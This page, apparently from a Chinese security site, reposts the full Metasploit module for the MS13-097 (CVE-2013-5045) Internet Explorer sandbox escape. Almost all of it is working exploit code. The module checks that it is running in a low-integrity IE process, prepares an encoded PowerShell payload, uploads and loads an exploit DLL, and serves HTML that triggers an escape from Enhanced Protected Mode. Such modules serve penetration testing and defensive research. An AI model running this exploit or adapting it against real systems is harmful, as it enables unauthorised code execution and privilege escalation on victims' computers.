首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MS13-097 Registry Symlink IE Sandbox Escape
来源:metasploit.com 作者:Forshaw 发布时间:2014-06-27  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'

class Metasploit3 < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer
  include Msf::Post::Windows::Priv

  def initialize(info={})
    super( update_info( info,
      'Name'           => 'MS13-097 Registry Symlink IE Sandbox Escape',
      'Description'	   => %q{
        This module exploits a vulnerability in Internet Explorer Sandbox which allows to
        escape the Enhanced Protected Mode and execute code with Medium Integrity. The
        vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll
        component, which can be abused to force medium integrity IE to user influenced keys.
        By using registry symlinks it's possible force IE to add a policy entry in the registry
        and finally bypass Enhanced Protected Mode.
      },
      'License'	       => MSF_LICENSE,
      'Author'	       =>
        [
          'James Forshaw', # Vulnerability Discovery and original exploit code
          'juan vazquez' # metasploit module
        ],
      'Platform'	     => [ 'win' ],
      'SessionTypes'   => [ 'meterpreter' ],
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Targets'	       =>
        [
          [ 'IE 8 - 11', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => "Dec 10 2013",
      'References'     =>
        [
          ['CVE', '2013-5045'],
          ['MSB', 'MS13-097'],
          ['BID', '64115'],
          ['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
        ]
    ))

    register_options(
      [
        OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])
      ])
  end

  def exploit
    print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?

    mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
    if mod_handle['return'] == 0
      fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
    end

    unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
    end

    begin
      Timeout.timeout(datastore['DELAY']) { super }
    rescue Timeout::Error
    end

    session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", nil)
    session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", nil)
  end

  def primer
    cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
    session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd)

    html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"
    session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri)

    temp = get_env('TEMP')

    print_status("Loading Exploit Library...")

    session.core.load_library(
      'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"),
      'TargetFilePath'  => temp +  "\\CVE-2013-5045.dll",
      'UploadLibrary'   => true,
      'Extension'       => false,
      'SaveToDisk'      => false
    )
  end

  def on_request_uri(cli, request)
    if request.uri =~ /\.html$/
      print_status("Sending window close html...")
      close_html = <<-eos
<html>
<body>
<script>
window.open('', '_self', '');
window.close();
</script>
</body>
</html>
      eos
      send_response(cli, close_html, { 'Content-Type' => 'text/html' })
    else
      send_not_found(cli)
    end
  end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Python CGIHTTPServer File Disc
·MS14-009 .NET Deployment Servi
·Internet Explorer 8, 9 & 10 -
·HP AutoPass License Server Fil
·AlienVault OSSIM < 4.7.0 - av-
·chkrootkit 0.49 - Local Root V
·Cogent DataHub Command Injecti
·check_dhcp 2.0.2 (Nagios Plugi
·D-Link authentication.cgi Buff
·Gitlist <= 0.4.0 - Remote Code
·D-Link hedwig.cgi Buffer Overf
·Supermicro Onboard IPMI Port 4
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved